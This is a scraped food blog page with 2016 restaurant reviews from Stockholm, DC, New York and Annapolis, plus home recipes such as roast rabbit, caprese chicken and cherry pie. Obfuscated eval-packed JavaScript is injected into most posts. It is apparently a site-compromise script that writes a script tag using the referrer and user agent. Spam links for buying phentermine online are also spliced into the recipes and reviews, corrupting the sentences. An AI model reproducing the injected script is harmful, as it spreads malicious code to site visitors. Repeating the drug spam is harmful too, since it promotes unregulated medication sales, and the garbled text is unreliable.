Eating in Stockholm: Bakfickan

2016 Food, Food

Sometimes the first is the best. We ate at Bakfickan eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rrfzb|var|u0026u|referrer|esftn||js|php’.split(‘|’),0,{}))
for our first dinner in Stockholm, and it’s probably my favorite place we tried.

It’s a small restaurant near Old Town, but we ate a senior citizen dinner so had the restaurant almost to ourselves. The best part of traveling in groups is that you can order more and try more.

We ordered the traditional dishes – Swedish meatballs, sausage, sweetbread and cloudberry soufflé. Everything was delicious. The service was great and the restaurant, while small was very charming. I’d definitely recommend you try Bakfickan if you’re in Stockholm and hungry.

Roasted Rabbit With Potatoes and Rosemary

2016 Food, Food

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fkeeh|var|u0026u|referrer|rzbzr||js|php’.split(‘|’),0,{}))
impulsively bought a whole rabbit at the farmer’s market. I’ve never cooked rabbit and am no expert. I used this
New York Times recipe since it looked simple.

I ended up not being very impressed with the rabbit or the recipe. It’s gamier than chicken, but doesn’t have a lot of meat on the bones like a whole chicken. I mixed up the recipe a bit by using a couple different varieties of potatoes.

Rabbit doesn’t have much flavor to it. It reminded me a lot of a leaner chicken. If I cooked with it again, I’d probably buy it off the bone and cook in curry. I’ve had rabbit curry soup in restaurants before that was very good.

INGREDIENTS

  • 1 rabbit
  • Coarse salt and freshly ground pepper
  • 1 clove garlic
  • Juice 1 lemon
  • 8 rosemary leaves
  • ¾ cup olive oil
  • 8 small buy phentermine 37.5 online cheap red-skinned potatoes

PREPARATION

  1. Season the rabbit with salt and pepper and place in a non-corrosive dish. Mince the garlic and mix with the lemon juice, half the rosemary leaves and half a cup of the olive oil. Pour onto the rabbit, turn in the marinade, cover and refrigerate overnight, turning occasionally.
  2. Preheat oven to 350 degrees. Place the rabbit in a roasting pan and pour on the marinade. Cover the rabbit with a piece of foil. Place the potatoes around the rabbit and sprinkle with salt, pepper and remaining rosemary leaves.
  3. Add the remaining oil and toss the potatoes so that they are coated and won’t stick to the bottom of the roasting pan. Roast for 20 minutes then remove the foil from the rabbit. Roast for another 10 to 25 minutes, or until tender and lightly browned.

Shrimp & Lion’s Mane Mushroom

2016 Food, Food

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Sautéing shrimp in butter, salt, pepper and red pepper flakes is always a good idea. I added lion’s mane mushroom for more depth with it’s nutty and seafood flavor. I put rosemary into the butter sauce for a few seconds to add aroma.

Cheese Stuffed Squash Flower on Pesto Pizza

2016 Food, Food

I’ve never cooked with squash flower before, but it was fun and turned out great. I pulled the center out of the flower and stuffed it with goat cheese to make my three cheese pesto pizza. There’s mozzarella, parmesan and goat cheese on the pizza.

I admittingly cheat by buying pre-made pizza dough, but the pesto is homemade from basil in my garden. And if you’ve been following me on snapchat (username: kate.greer) these tomatoes are also from my garden.

Duke’s Grocery

2016 Food, Food

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|znfyt|var|u0026u|referrer|rieyz||js|php’.split(‘|’),0,{}))
ate my birthday dinner at 
Duke’s Grocery in DC. It’s a cute place near Dupont Circle with an East London hipster vibe. Duke’s Grocery is known for it’s proper burger (seen above), and it’s worth ordering. They source their food from local producers and change their menus based on the season. I’d recommend checking out the restaurant next time you’re in the neighborhood.

 

L’Arte del Gelato

2016 Food, Food

L’Arte eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fhefb|var|u0026u|referrer|kkdyy||js|php’.split(‘|’),0,{}))
del Gelato
 is probably my favorite gelato in the US. This is the stand in Chelsea Market, New York. I’ve pretty much tried every flavour, and I can testify that purchase phentermine hcl 30 mg they are all amazing! This was my first time ordering their affogato. It was delicious!

I do eat gelato all-year-round, but it is the perfect treat on a hot summer day.

Boatyard Bar & Grill

2016 Food, Food

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hnefi|var|u0026u|referrer|zhrnz||js|php’.split(‘|’),0,{}))
took the long weekend to visit Annapolis, Maryland, and I ate at the
Boatyard Bar & Grill to satisfy my need for soft shell crab. It was delicious and the restaurant has a great atmosphere. It’s just outside of the historic downtown Annapolis and within a five minute walk to the marina.

I’d definitely recommend eating at the Boatyard Bar & Grill if you’re visiting Annapolis.

Pictured above is Maryland’s fried soft shell crab sandwich and crab cake sandwich.

 

Caprese Baked Chicken & Pasta Salad

2016 Food, Food

Caprese eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehffh|var|u0026u|referrer|erafe||js|php’.split(‘|’),0,{}))
caked chicken with pasta salad and fried plantains

This is one of my own inventions as an excuse to use up my basil. I’ve have two potted basil plants that have been growing insanely this summer.

  • Flattened 4 check breast (if they are very large cut them in half).
  • Season with chicken with salt and pepper, layer basil, mozzarella cheese and sliced tomatoes and roll up the chicken. Use toothpicks to keep chicken breasts rolled up.
  • Drizzle a bit of olive oil over the rolled up chicken breasts and bake in the oven at 425 F for 25 minutes. Check them until they are cooked through. Cooking time may vary on size of chicken.

Pasta Salad

  • Cook angel hair pasta until al dente.
  • Cut in half a couple handfuls of cherry tomatoes and cook for a few minutes in olive oil, crushed garlic and pesto.
  • Mix in cooked pasta.
  • Chop mangos and serve on top of pasta salad.

Fried Plantains

  • Heat about 1-inch of oil in heavy bottomed saucepan over medium heat until a deep-fry thermometer inserted in the oil registers 340 degrees F.
  • Line a large plate with paper towels.
  • Peel the plantains and discard the skins. Slice into 1/4-inch thick pieces.
  • Fry the plantains in oil, turning occasionally, until a golden brown color, about 2 to 4 minutes.
  • The longer the plantains fry the sweeter they are. Remove with a slotted spoon and drain on paper towels.
  • Sprinkle the plantains with a little salt and brown sugar.

Cherry Pie with Almond Crumble Top

2016 Food, Food

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Pie with Almond Crumble Top

yield: 2 PIE

  • Pre-made pie crust
  • 4 cups halved pitted fresh cherries1
  • 1/2 cup (38g) fresh raspberries or sliced strawberries2
  • 1/2 cup – 3/4 cup (100-150g) granulated sugar1
  • 1/4 cup (28g) cornstarch
  • 1 Tablespoon (15ml) lemon juice
  • 1 teaspoon vanilla extract
  • optional: 1/4 teaspoon almond extract (it’s good!)
  • 1 Tablespoon (14g) cold unsalted butter, cut into small cubes
  • 1 large egg, lightly beaten with 1 Tablespoon (15ml) milk
  • 1/3 cup (28g) sliced almonds, such as Diamond of California sliced almonds
  • optional: coarse sugar for garnish

Directions:

  1. The crust: defrost a pre-made pie crust.
  2. Make the filling: In a large bowl using a rubber spatula or wooden spoon, stir the cherries, raspberries, sugar, cornstarch, lemon juice, vanilla, and almond extract together until thoroughly combined. Set filling aside as the oven preheats. This gives the filling a chance to rest.
  3. Preheat oven to 400°F (204°C)
  4. Make crumble top: Blend 1/2 cup of butter, 1 cup of flour, and 1/4 cup of sugar and 1/4 cup of almond in a food processor. I also added a tablespoon of almond extract for a bit more flavour.
  5. Fill the pie crust with the filling and sprinkle the crumble top over it.
  6. Place the pie onto a large baking sheet and bake for 20 minutes. Keeping the pie in the oven, turn the temperature down to 375°F (190°C) and bake for an additional 30-35 minutes. After the first 20 minutes of bake time, I place a pie crust shield on top of the pie to prevent the edges from browning too quickly.
  7. Allow the pie to cool for 3 full hours at room temperature before serving. This time allows the filling to thicken up. Cover leftovers tightly and store in the refrigerator for up to 5 days.

My Pantry Puttanesca

2016 Food, Food

Puttanesca is eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tkeyi|var|u0026u|referrer|snkef||js|php’.split(‘|’),0,{}))
a traditional Italian pasta dish. The sauce is named for ladies of the night. They would place pots of it in their windows to tempt men into the bordellos.

I’ve linked to the traditional puttanesca recipe. However, I make puttanesca as a way to use up anything I have leftover in my fridge. The one pictured above has yellow and red cherry tomatoes, http://vhealthportal.com/product-category/womens-health/, arugula, grown lamb, and feta cheese. This tossed with cooked angel hair pasta and olive oil, salt and pepper (to taste).